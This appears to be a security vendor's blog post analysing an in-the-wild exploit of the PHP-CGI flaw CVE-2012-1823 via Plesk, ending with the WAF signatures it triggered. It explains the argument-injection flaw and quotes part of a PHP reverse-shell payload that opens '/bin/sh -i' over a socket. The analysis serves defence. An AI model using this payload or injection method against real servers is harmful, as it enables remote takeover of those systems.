Plesk Vulnerability
Recently we’ve witnessed another example of a relatively old and specific vulnerability come to life using a very common and wide spread application.
In this case it was the CVE-2012-1823 vulnerability, being exploited using the Plesk admin panel.
This vulnerability allows remote code execution by using a bug in the PHP CGI wrapper, which allows injecting CGI options to the executable, as well as piping other shell commands.
Plesk is a tool that allows automated deployment and centralized management of various system services such as: Web hosting, DNS and E-Mail. It is a widely used application, popular amongst independent SMB’s.
This “out in the wild” code-execution exploit attempts to upload PHP code onto the server, using the aforementioned vulnerability in the CGI module.
Code injection is possible thanks to query data being passed unescaped directly to shell.
This allows passing options to the CGI binary such as –r (execute code) and –d (define ini).
In addition, command line pipe-lining is also possible because the entire argument is declared unquoted:
exec /dh/cgi-system/php5.cgi $*
By simply reviewing the source code of the exploit, no particular sophistication or elaborate attack pattern was found. It is a straight forward attack vector with PHP code in body, and CGI parameters in query.
This part of the exploit sets the PHP-CGI flags:
As we can see, the –d flag is used to declare some config line directives, and the –n flag to bypass the local php.ini.
Then the payload is being sent, which is a PHP page that sets up a shell with a socket:.
\$VERSION = \"1.0\"; \$ip ='$lip'; \$port = $lport; \$chunk_size = 1400;
\$write_a = null;\$error_a = null; \$shell = '/bin/sh -i'; \$daemon = ...
Issuing the exploit against an updated ASM version triggered the following signatures:
200004025 - PHP injection attempt ( <? )
200004038 - PHP injection attempt ( posix_setsid )
200100310 - "/bin" execution attempt (Parameter)
200100310 - Shell command (sh/ksh/etc) access (Value)
200100330 - PHP-CGI Shell Code Injection (v2)
200002437 - SQL-INJ "if(Expression,value,value)" (Parameter)
The PHP and CGI signatures are quite expected, as well as the other command execution ones.
As for the SQL-INJ signature, it could be considered a false positive since this attack was not SQL Injection.
However, since the format of this signature resembles execution code as well as an SQL query – it is understandable why the PHP code located in the payload has triggered this signature.